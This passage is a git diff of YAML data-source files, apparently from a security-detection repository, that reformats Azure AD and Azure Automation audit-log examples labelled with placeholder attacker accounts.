b/data_sources/azure_active_directory_update_authorization_policy.yml @@ -109,4 +109,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-10-26T19:22:20.2814027Z", "resourceId": "/tenants/5f210575-a69b-41a7-b623-3f6d79ccd432/providers/Microsoft.aadiam", "operationName": "Update authorization policy", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "5f210575-a69b-41a7-b623-3f6d79ccd432", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "1.2.3.4", "correlationId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "Level": 4, "properties": {"id": "Directory_cc46d719-4c0f-4b78-8795-b0d6ca5b2065_6CH7M_196574953", "category": "AuthorizationPolicy", "correlationId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "result": "success", "resultReason": "", "activityDisplayName": "Update authorization policy", "activityDateTime": "2023-10-26T19:22:20.2814027+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "attacker@splunkresearch.onmicrosoft.com", "ipAddress": "1.2.3.4", "roles": []}}, "targetResources": [{"id": "24484114-1daa-4700-aaf7-44ee5cbe5678", "displayName": "Authorization Policy", "type": "Other", "modifiedProperties": [{"displayName": "AllowUserConsentForRiskyApps", "oldValue": "[false]", "newValue": "[true]"}, {"displayName": "PermissionGrantPolicyIdsAssignedToDefaultUserRole", "oldValue": "[\"ManagePermissionGrantsForSelf.microsoft-user-default-legacy\"]", "newValue": "[\"microsoft-user-default-legacy\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AllowUserConsentForRiskyApps, PermissionGrantPolicyIdsAssignedToDefaultUserRole\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Swagger-Codegen/1.0.0.0/csharp/msal"}]}}' +example_log: | + {"time": "2023-10-26T19:22:20.2814027Z", "resourceId": "/tenants/5f210575-a69b-41a7-b623-3f6d79ccd432/providers/Microsoft.aadiam", "operationName": "Update authorization policy", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "5f210575-a69b-41a7-b623-3f6d79ccd432", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "1.2.3.4", "correlationId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "Level": 4, "properties": {"id": "Directory_cc46d719-4c0f-4b78-8795-b0d6ca5b2065_6CH7M_196574953", "category": "AuthorizationPolicy", "correlationId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "result": "success", "resultReason": "", "activityDisplayName": "Update authorization policy", "activityDateTime": "2023-10-26T19:22:20.2814027+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "attacker@splunkresearch.onmicrosoft.com", "ipAddress": "1.2.3.4", "roles": []}}, "targetResources": [{"id": "24484114-1daa-4700-aaf7-44ee5cbe5678", "displayName": "Authorization Policy", "type": "Other", "modifiedProperties": [{"displayName": "AllowUserConsentForRiskyApps", "oldValue": "[false]", "newValue": "[true]"}, {"displayName": "PermissionGrantPolicyIdsAssignedToDefaultUserRole", "oldValue": "[\"ManagePermissionGrantsForSelf.microsoft-user-default-legacy\"]", "newValue": "[\"microsoft-user-default-legacy\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AllowUserConsentForRiskyApps, PermissionGrantPolicyIdsAssignedToDefaultUserRole\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Swagger-Codegen/1.0.0.0/csharp/msal"}]}} diff --git a/data_sources/azure_active_directory_update_user.yml b/data_sources/azure_active_directory_update_user.yml index b6611634f0..71e11d6175 100644 --- a/data_sources/azure_active_directory_update_user.yml +++ b/data_sources/azure_active_directory_update_user.yml @@ -106,4 +106,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-24T14:28:15.2233481Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Update user", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "Level": 4, "properties": {"id": "Directory_d34f6d2e-3120-4b96-b922-e06090f6a497_VPRLA_316413199", "category": "UserManagement", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "result": "success", "resultReason": "", "activityDisplayName": "Update user", "activityDateTime": "2023-07-24T14:28:15.2233481+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "roles": []}}, "targetResources": [{"id": "83a3158c-1d08-4686-b5f9-72fb34cb606e", "displayName": null, "type": "User", "userPrincipalName": "testuser@splunkresearch.com", "modifiedProperties": [{"displayName": "AccountEnabled", "oldValue": "[false]", "newValue": "[true]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AccountEnabled\""}, {"displayName": "TargetId.UserType", "oldValue": null, "newValue": "\"Member\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "UserType", "value": "Member"}]}}' +example_log: | + {"time": "2023-08-01T17:58:34.8298290Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Update user", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "35.155.135.6", "correlationId": "973d9d53-c492-4244-b8d4-ffd054a2a01c", "Level": 4, "properties": {"id": "Directory_973d9d53-c492-4244-b8d4-ffd054a2a01c_TVZMN_14464116", "category": "UserManagement", "correlationId": "973d9d53-c492-4244-b8d4-ffd054a2a01c", "result": "success", "resultReason": "", "activityDisplayName": "Update user", "activityDateTime": "2023-08-01T17:58:34.829829+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "hereiamr@splunkresearch.com", "ipAddress": "35.155.135.6", "roles": []}}, "targetResources": [{"id": "f416526a-17ee-4129-8ca9-f5ee55f69f34", "displayName": null, "type": "User", "userPrincipalName": "hereiam360_gmail.com#EXT#@strtadminsplunkresearch.onmicrosoft.com", "modifiedProperties": [{"displayName": "SourceAnchor", "oldValue": "[]", "newValue": "[\"anystring\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"SourceAnchor\""}, {"displayName": "TargetId.UserType", "oldValue": null, "newValue": "\"Guest\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "UserType", "value": "Guest"}]}} diff --git a/data_sources/azure_active_directory_user_registered_security_info.yml b/data_sources/azure_active_directory_user_registered_security_info.yml index 73c4dc2034..56d95c13b7 100644 --- a/data_sources/azure_active_directory_user_registered_security_info.yml +++ b/data_sources/azure_active_directory_user_registered_security_info.yml @@ -102,4 +102,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-01-30T21:11:30.8690619Z", "resourceId": "/tenants/91da745f-8abb-4a7d-ba94-5667c6f9e01a/providers/Microsoft.aadiam", "operationName": "User registered security info", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "91da745f-8abb-4a7d-ba94-5667c6f9e01a", "resultSignature": "None", "resultDescription": "User registered App Password", "durationMs": 0, "callerIpAddress": "72.1.2.43", "correlationId": "14279c94-7ebc-409f-be4e-7861f13c8a79", "Level": 4, "properties": {"id": "IAMUX_14279c94-7ebc-409f-be4e-7861f13c8a79_K2ATV_323947358", "category": "UserManagement", "correlationId": "14279c94-7ebc-409f-be4e-7861f13c8a79", "result": "success", "resultReason": "User registered App Password", "activityDisplayName": "User registered security info", "activityDateTime": "2023-01-30T21:11:30.8690619+00:00", "loggedByService": "Authentication Methods", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "displayName": null, "userPrincipalName": "User30@splunkresearch.com", "ipAddress": "72.1.2.43", "roles": []}}, "targetResources": [{"id": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "displayName": "User30", "type": "User", "userPrincipalName": "User30@splunkresearch.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": []}}' +example_log: | + {"time": "2023-01-30T21:11:30.8690619Z", "resourceId": "/tenants/91da745f-8abb-4a7d-ba94-5667c6f9e01a/providers/Microsoft.aadiam", "operationName": "User registered security info", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "91da745f-8abb-4a7d-ba94-5667c6f9e01a", "resultSignature": "None", "resultDescription": "User registered App Password", "durationMs": 0, "callerIpAddress": "72.1.2.43", "correlationId": "14279c94-7ebc-409f-be4e-7861f13c8a79", "Level": 4, "properties": {"id": "IAMUX_14279c94-7ebc-409f-be4e-7861f13c8a79_K2ATV_323947358", "category": "UserManagement", "correlationId": "14279c94-7ebc-409f-be4e-7861f13c8a79", "result": "success", "resultReason": "User registered App Password", "activityDisplayName": "User registered security info", "activityDateTime": "2023-01-30T21:11:30.8690619+00:00", "loggedByService": "Authentication Methods", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "displayName": null, "userPrincipalName": "User30@splunkresearch.com", "ipAddress": "72.1.2.43", "roles": []}}, "targetResources": [{"id": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "displayName": "User30", "type": "User", "userPrincipalName": "User30@splunkresearch.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": []}} diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml index be68ad6566..77790fb1a5 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml @@ -112,4 +112,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"authorization": {"action": "Microsoft.Automation/automationAccounts/write", "scope": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661179930", "nbf": "1661179930", "exp": "1661185179", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAATFEszAxfULi02mHZwJPr322a2w4m7xjhs9xgc61bVQITM6lcvJI17c8SKQGIWgIA0FysfS1bmLHdxImNfT26qJ5Sfc5UdTncHkz3UYu+AvgCW1gg1mRxOZEFXYdIlQ/h", "altsecid": "1:live.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contoso.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "live.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "OyNAqM760kmqzxVr6jwtAA", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "59e3de3b-b8c6-4360-9bc5-f094ebce6422", "description": "", "eventDataId": "b0a0bf02-57e5-4eb3-a36d-f2681d874637", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "id": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount/events/b0a0bf02-57e5-4eb3-a36d-f2681d874637/ticks/637967777618694806", "level": "Informational", "resourceGroupName": "ResourceGroup1", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount", "operationId": "6a420172-1ccd-4144-ac12-3095b4019ed5", "operationName": {"value": "Microsoft.Automation/automationAccounts/write", "localizedValue": "Create or Update an Azure Automation account"}, "properties": {"eventCategory": "Administrative", "entity": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount", "message": "Microsoft.Automation/automationAccounts/write", "hierarchy": "67165197-75ea-4ca3-96a5-3e23868eacd0"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "", "localizedValue": ""}, "eventTimestamp": "2022-08-22T15:09:21.8694806Z", "submissionTimestamp": "2022-08-22T15:10:51.152208Z", "subscriptionId": "67165197-75ea-4ca3-96a5-3e23868eacd0"}' +example_log: | + {"authorization": {"action": "Microsoft.Automation/automationAccounts/write", "scope": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661179930", "nbf": "1661179930", "exp": "1661185179", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAATFEszAxfULi02mHZwJPr322a2w4m7xjhs9xgc61bVQITM6lcvJI17c8SKQGIWgIA0FysfS1bmLHdxImNfT26qJ5Sfc5UdTncHkz3UYu+AvgCW1gg1mRxOZEFXYdIlQ/h", "altsecid": "1:live.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contoso.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "live.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "OyNAqM760kmqzxVr6jwtAA", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "59e3de3b-b8c6-4360-9bc5-f094ebce6422", "description": "", "eventDataId": "b0a0bf02-57e5-4eb3-a36d-f2681d874637", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "id": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount/events/b0a0bf02-57e5-4eb3-a36d-f2681d874637/ticks/637967777618694806", "level": "Informational", "resourceGroupName": "ResourceGroup1", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount", "operationId": "6a420172-1ccd-4144-ac12-3095b4019ed5", "operationName": {"value": "Microsoft.Automation/automationAccounts/write", "localizedValue": "Create or Update an Azure Automation account"}, "properties": {"eventCategory": "Administrative", "entity": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount", "message": "Microsoft.Automation/automationAccounts/write", "hierarchy": "67165197-75ea-4ca3-96a5-3e23868eacd0"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "", "localizedValue": ""}, "eventTimestamp": "2022-08-22T15:09:21.8694806Z", "submissionTimestamp": "2022-08-22T15:10:51.152208Z", "subscriptionId": "67165197-75ea-4ca3-96a5-3e23868eacd0"} diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml index 29f0026a36..2fc96605de 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml @@ -120,4 +120,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"authorization": {"action": "Microsoft.Automation/automationAccounts/runbooks/write", "scope": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourceGroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661194261", "nbf": "1661194261", "exp": "1661198249", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAA3iMcbqqPPdXPATT7oalIKsh6wEFsyQ+zUVCshaLu77xsLlt067TtI11gy5hAx+z905hrX1VBehDGaedvEg2UF0BSbHVL9bJrry4zk3Xt+HNt5dTXDDgABOFuNB4QJBUW", "altsecid": "1:live.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contoso.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "live.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "YMAP5fOmMkuuBUgBe-Z5AA", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "49b945c0-966a-48d8-b79b-31f184544594", "description": "", "eventDataId": "303f17eb-10cb-458f-8a80-683f40f123a2", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "id": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook/events/303f17eb-10cb-458f-8a80-683f40f123a2/ticks/637967920541346086", "level": "Informational", "resourceGroupName": "resourceGroup1", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook", "operationId": "b6e30ace-986c-4735-980f-926db0b43336", "operationName": {"value": "Microsoft.Automation/automationAccounts/runbooks/write", "localizedValue": "Create or Update an Azure Automation Runbook"}, "properties": {"eventCategory": "Administrative", "entity": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook", "message": "Microsoft.Automation/automationAccounts/runbooks/write", "hierarchy": "1aee0e3d-b75b-440a-a927-76f0552a14e6"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "", "localizedValue": ""}, "eventTimestamp": "2022-08-22T19:07:34.1346086Z", "submissionTimestamp": "2022-08-22T19:08:54.1547383Z", "subscriptionId": "1aee0e3d-b75b-440a-a927-76f0552a14e6"}' +example_log: | + {"authorization": {"action": "Microsoft.Automation/automationAccounts/runbooks/write", "scope": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourceGroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661194261", "nbf": "1661194261", "exp": "1661198249", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAA3iMcbqqPPdXPATT7oalIKsh6wEFsyQ+zUVCshaLu77xsLlt067TtI11gy5hAx+z905hrX1VBehDGaedvEg2UF0BSbHVL9bJrry4zk3Xt+HNt5dTXDDgABOFuNB4QJBUW", "altsecid": "1:live.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contoso.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "live.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "YMAP5fOmMkuuBUgBe-Z5AA", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "49b945c0-966a-48d8-b79b-31f184544594", "description": "", "eventDataId": "303f17eb-10cb-458f-8a80-683f40f123a2", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "id": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook/events/303f17eb-10cb-458f-8a80-683f40f123a2/ticks/637967920541346086", "level": "Informational", "resourceGroupName": "resourceGroup1", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook", "operationId": "b6e30ace-986c-4735-980f-926db0b43336", "operationName": {"value": "Microsoft.Automation/automationAccounts/runbooks/write", "localizedValue": "Create or Update an Azure Automation Runbook"}, "properties": {"eventCategory": "Administrative", "entity": "/subscriptions/1aee0e3d-b75b-440a-a927-76f0552a14e6/resourcegroups/resourceGroup1/providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/runbooks/SuspiciousRunbook", "message": "Microsoft.Automation/automationAccounts/runbooks/write", "hierarchy": "1aee0e3d-b75b-440a-a927-76f0552a14e6"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "", "localizedValue": ""}, "eventTimestamp": "2022-08-22T19:07:34.1346086Z", "submissionTimestamp": "2022-08-22T19:08:54.1547383Z", "subscriptionId": "1aee0e3d-b75b-440a-a927-76f0552a14e6"} diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml index ab607f8c91..09b1af46c6 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml @@ -119,4 +119,5 @@ output_fields: - dest - user - src -example_log: '{"authorization": {"action": "Microsoft.Automation/automationAccounts/webhooks/write", "scope": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661287859", "nbf": "1661287859", "exp": "1661293423", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAAEendcgWjYQFuDhNNhoecwU3dpXjjenSsIvjamk77+TjLK/o1xkFGcFb1A+OVyuY+xefe0X39n8lx1iFWFqGo0GSNNKhm9OQcv/0UyXiaNIbKD7wisgQhAa9DoIyObMpO", "altsecid": "1:contoso.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contosol.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "contoso.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "epgtY-85CUeb6aJpaE0KAQ", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "74e18a58-ee2e-40de-890d-de0c155f7086", "description": "", "eventDataId": "35b9db88-8041-413e-8dd7-f8dc243eafdd", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "httpRequest": {"clientRequestId": "6934b40a-c11f-4379-9ef1-c6fa3cee5015", "clientIpAddress": "190.0.0.1", "method": "PUT"}, "id": 